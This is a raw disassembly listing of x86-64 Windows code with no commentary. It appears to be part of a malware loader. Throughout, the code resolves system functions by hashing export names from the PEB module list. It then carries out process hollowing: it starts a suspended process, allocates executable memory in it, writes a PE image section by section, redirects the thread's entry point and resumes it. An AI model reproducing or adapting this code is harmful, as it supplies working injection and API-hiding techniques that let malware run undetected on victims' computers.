jne 0x1400754e0
mov rax, qword [rax]
jmp 0x1400754b0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
lea rax, [rbp + 0x2610]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x2f10]
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x4930]
xor ecx, ecx
call r10
test eax, eax
je 0x140075d8c
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140075616
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140075616
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0xd4e4c467
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140075611
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400755f0
cmp r8d, 0x582e5933
je 0x14007561b
test r9d, r9d
jne 0x1400755d0
mov rax, qword [rax]
jmp 0x1400755a0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov edx, 0x4d0
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x1000
call r10
mov rsi, rax
mov qword [rsp + 0x60], rax
mov dword [rax + 0x30], 0x10000b
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400756e6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400756e6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
mov r8d, 0xb429d838
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x1400756e1
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x1400756c0
cmp r8d, 0xd1d8d47f
je 0x1400756eb
test r9d, r9d
jne 0x1400756a0
mov rcx, qword [rcx]
jmp 0x140075670
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov rdx, rsi
mov rcx, qword [rbp + 0x2618]
call r8
test eax, eax
je 0x140075c2b
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x1400757a6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400757a6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0x257590c6
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400757a1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140075780
cmp r8d, 0x7ab44683
je 0x1400757ab
test r9d, r9d
jne 0x140075760
mov rax, qword [rax]
jmp 0x140075730
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov r8d, dword [r15 + 0x50]
lea r13, [r15 + 0x30]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, qword [r13]
mov rcx, qword [rbp + 0x2610]
call r10
mov r12, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r11, qword [rcx + 0x30]
movsxd rdx, dword [r11 + 0x3c]
mov edi, dword [rdx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140075876
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140075876
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r11]
add rdx, r11
mov r8d, 0x6980ed60
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140075871
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140075850
cmp r8d, 0x4935f55f
je 0x14007587b
test r9d, r9d
jne 0x140075830
mov rcx, qword [rcx]
jmp 0x140075800
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov r9d, dword [r15 + 0x54]
xor ebx, ebx
mov qword [rsp + 0x20], rbx
mov r8, r14
mov rdx, r12
mov rcx, qword [rbp + 0x2610]
call r10
mov r15d, ebx
mov rax, qword [rsp + 0x68]
cmp bx, word [rax + 6]
jae 0x140075aa9
mov r14d, ebx
nop dword [rax]
nop word [rax + rax]
mov rax, qword [rbp + 0x2800]
movsxd rsi, dword [rax + 0x3c]
add rsi, r14
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140075966
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140075966
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0xe2b05d0f
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140075961
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140075940
cmp r8d, 0x75ed8038
je 0x14007596b
test r9d, r9d
jne 0x140075920
mov rax, qword [rax]
jmp 0x1400758f0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov rax, qword [rbp + 0x2800]
mov r9d, dword [rsi + rax + 0x118]
mov r8d, dword [rsi + rax + 0x11c]
add r8, rax
mov edx, dword [rsi + rax + 0x114]
add rdx, r12
xor eax, eax
mov qword [rsp + 0x20], rax
mov rcx, qword [rbp + 0x2610]
call r10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140075a46
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140075a46
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0x6c957d8
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140075a41
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140075a20
cmp r8d, 0x6ff25437
je 0x140075a4b
test r9d, r9d
jne 0x140075a00
mov rax, qword [rax]
jmp 0x1400759d0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov rsi, qword [rsp + 0x60]
mov rdx, qword [rsi + 0x88]
add rdx, 0x10
xor eax, eax
mov qword [rsp + 0x20], rax
lea r9d, [rax + 8]
mov r8, r13
mov rcx, qword [rbp + 0x2610]
call r10
inc r15
add r14, 0x28
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + 6]
cmp r15, rax
jb 0x1400758d0
mov rax, qword [rsp + 0x68]
mov eax, dword [rax + 0x28]
add rax, r12
mov qword [rsi + 0x80], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140075b46
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140075b46
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xb1260f96
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140075b41
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140075b20
cmp r8d, 0x651e5805
je 0x140075b4b
test r9d, r9d
jne 0x140075b00
mov rax, qword [rax]
jmp 0x140075ad0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov rdx, rsi
mov rcx, qword [rbp + 0x2618]
call r8
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140075c06
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140075c06
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xde0d8406
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140075c01
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140075be0
cmp r8d, 0x112db3f5
je 0x140075c0b
test r9d, r9d
jne 0x140075bc0
mov rax, qword [rax]
jmp 0x140075b90
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rbp + 0x2618]
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140075cb6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140075cb6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x9d9e214d
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140075cb1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140075c90
cmp r8d, 0xf902800d
je 0x140075cbb
test r9d, r9d
jne 0x140075c70
mov rax, qword [rax]
jmp 0x140075c40
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rbp + 0x2610]
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140075d66
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140075d66
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xcf46eb01
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140075d61
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140075d40
cmp r8d, 0x111c28a1
je 0x140075d6b
test r9d, r9d
jne 0x140075d20
mov rax, qword [rax]
jmp 0x140075cf0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rbp + 0x2618]
call rdx
nop
lea rcx, [rbp + 0x2898]
call fcn.140090180
nop
lea rcx, [rbp + 0x2a38]
call fcn.140090bf0
mov rax, qword [0x140214480]
cmp byte [rax + 0x2b], 1
jne 0x14007686c
lea rcx, [rbp + 0x2a78]
call fcn.140090c70
nop
lea rcx, [rbp - 0xf]
call fcn.140085830
mov rcx, rax
call fcn.14008ca50
mov rdx, rax
lea rcx, [rbp + 0x2a78]
call fcn.140090bd0
mov edx, Ordinal_26
lea rcx, [rbp + 0x2880]
call fcn.140062500
lea rdx, [rbp + 0x2a78]
lea rcx, [rbp + 0x1cc8]
call fcn.140090c90
mov r8, rax
lea rdx, [rbp + 0x2880]
lea rcx, [0x140211120]
call fcn.1400a43e0
nop
lea rcx, [rbp + 0x2880]
call fcn.140090170
mov r14, rax
mov qword [rbp + 0x2800], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2628], xmm0
mov qword [rbp + 0x2638], rax
xorps xmm1, xmm1
movups xmmword [rbp + 0x2f80], xmm1
movups xmmword [rbp + 0x2f90], xmm1
movups xmmword [rbp + 0x2fa0], xmm1
movups xmmword [rbp + 0x2fb0], xmm1
movups xmmword [rbp + 0x2fc0], xmm1
movups xmmword [rbp + 0x2fd0], xmm1
mov qword [rbp + 0x2fe0], rax
movsxd r15, dword [r14 + 0x3c]
add r15, r14
mov qword [rsp + 0x68], r15
cmp dword [r15], 0x4550
jne 0x14007684c
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140075f26
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140075f26
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x50fa40d6
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140075f21
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140075f00
cmp r8d, 0x7e4b4abe
je 0x140075f2b
test r9d, r9d
jne 0x140075ee0
mov rax, qword [rax]
jmp 0x140075eb0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r9d, dword [rcx + rax*4]
add r9, r10
mov r8d, 0x104
lea rdx, [rbp + 0x4a40]
xor ecx, ecx
call r9
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140075fe6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140075fe6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0xeca9bd0b
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140075fe1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140075fc0
cmp r8d, 0x8102cb23
je 0x140075feb
test r9d, r9d
jne 0x140075fa0
mov rax, qword [rax]
jmp 0x140075f70
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
lea rax, [rbp + 0x2628]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x2f80]
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x4a40]
xor ecx, ecx
call r10
test eax, eax
je 0x14007684c
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x1400760d6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400760d6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0x47b23703
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400760d1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400760b0
cmp r8d, 0x2e6204d7
je 0x1400760db
test r9d, r9d
jne 0x140076090
mov rax, qword [rax]
jmp 0x140076060
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov edx, 0x4d0
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x1000
call r10
mov rsi, rax
mov qword [rsp + 0x60], rax
mov dword [rax + 0x30], 0x10000b
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400761a6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400761a6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
mov r8d, 0x3bc1006f
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x1400761a1
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140076180
cmp r8d, 0xfbad5e34
je 0x1400761ab
test r9d, r9d
jne 0x140076160
mov rcx, qword [rcx]
jmp 0x140076130
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov rdx, rsi
mov rcx, qword [rbp + 0x2630]
call r8
test eax, eax
je 0x1400766eb
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140076266
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140076266
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0xd7536d6d
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140076261
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140076240
cmp r8d, 0x29c0db04
je 0x14007626b
test r9d, r9d
jne 0x140076220
mov rax, qword [rax]
jmp 0x1400761f0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov r8d, dword [r15 + 0x50]
lea r13, [r15 + 0x30]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, qword [r13]
mov rcx, qword [rbp + 0x2628]
call r10
mov r12, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r11, qword [rcx + 0x30]
movsxd rdx, dword [r11 + 0x3c]
mov edi, dword [rdx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140076336
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140076336
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r11 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r11
mov r8d, 0x86f1d98f
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140076331
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140076310
cmp r8d, 0x1743b0b8
je 0x14007633b
test r9d, r9d
jne 0x1400762f0
mov rcx, qword [rcx]
jmp 0x1400762c0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov r9d, dword [r15 + 0x54]
xor ebx, ebx
mov qword [rsp + 0x20], rbx
mov r8, r14
mov rdx, r12
mov rcx, qword [rbp + 0x2628]
call r10
mov r15d, ebx
mov rax, qword [rsp + 0x68]
cmp bx, word [rax + 6]
jae 0x140076569
mov r14d, ebx
nop dword [rax]
nop word [rax + rax]
mov rax, qword [rbp + 0x2800]
movsxd rsi, dword [rax + 0x3c]
add rsi, r14
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140076426
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140076426
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0xbe0b2008
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140076421
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140076400
cmp r8d, 0x8ba0c07
je 0x14007642b
test r9d, r9d
jne 0x1400763e0
mov rax, qword [rax]
jmp 0x1400763b0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov rax, qword [rbp + 0x2800]
mov r9d, dword [rsi + rax + 0x118]
mov r8d, dword [rsi + rax + 0x11c]
add r8, rax
mov edx, dword [rsi + rax + 0x114]
add rdx, r12
xor eax, eax
mov qword [rsp + 0x20], rax
mov rcx, qword [rbp + 0x2628]
call r10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140076506
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140076506
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0xe5fc5419
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140076501
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400764e0
cmp r8d, 0xe0c168c6
je 0x14007650b
test r9d, r9d
jne 0x1400764c0
mov rax, qword [rax]
jmp 0x140076490
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov rsi, qword [rsp + 0x60]
mov rdx, qword [rsi + 0x88]
add rdx, 0x10
xor eax, eax
mov qword [rsp + 0x20], rax
lea r9d, [rax + 8]
mov r8, r13
mov rcx, qword [rbp + 0x2628]
call r10
inc r15
add r14, 0x28
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + 6]
cmp r15, rax
jb 0x140076390
mov rax, qword [rsp + 0x68]
mov eax, dword [rax + 0x28]
add rax, r12
mov qword [rsi + 0x80], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140076606
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140076606
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x7e156c1b
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140076601
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400765e0
cmp r8d, 0x615e1614
je 0x14007660b
test r9d, r9d
jne 0x1400765c0
mov rax, qword [rax]
jmp 0x140076590
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov rdx, rsi
mov rcx, qword [rbp + 0x2630]
call r8
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400766c6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400766c6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xc70e6363
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400766c1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400766a0
cmp r8d, 0x2a994358
je 0x1400766cb
test r9d, r9d
jne 0x140076680
mov rax, qword [rax]
jmp 0x140076650
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rbp + 0x2630]
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140076776
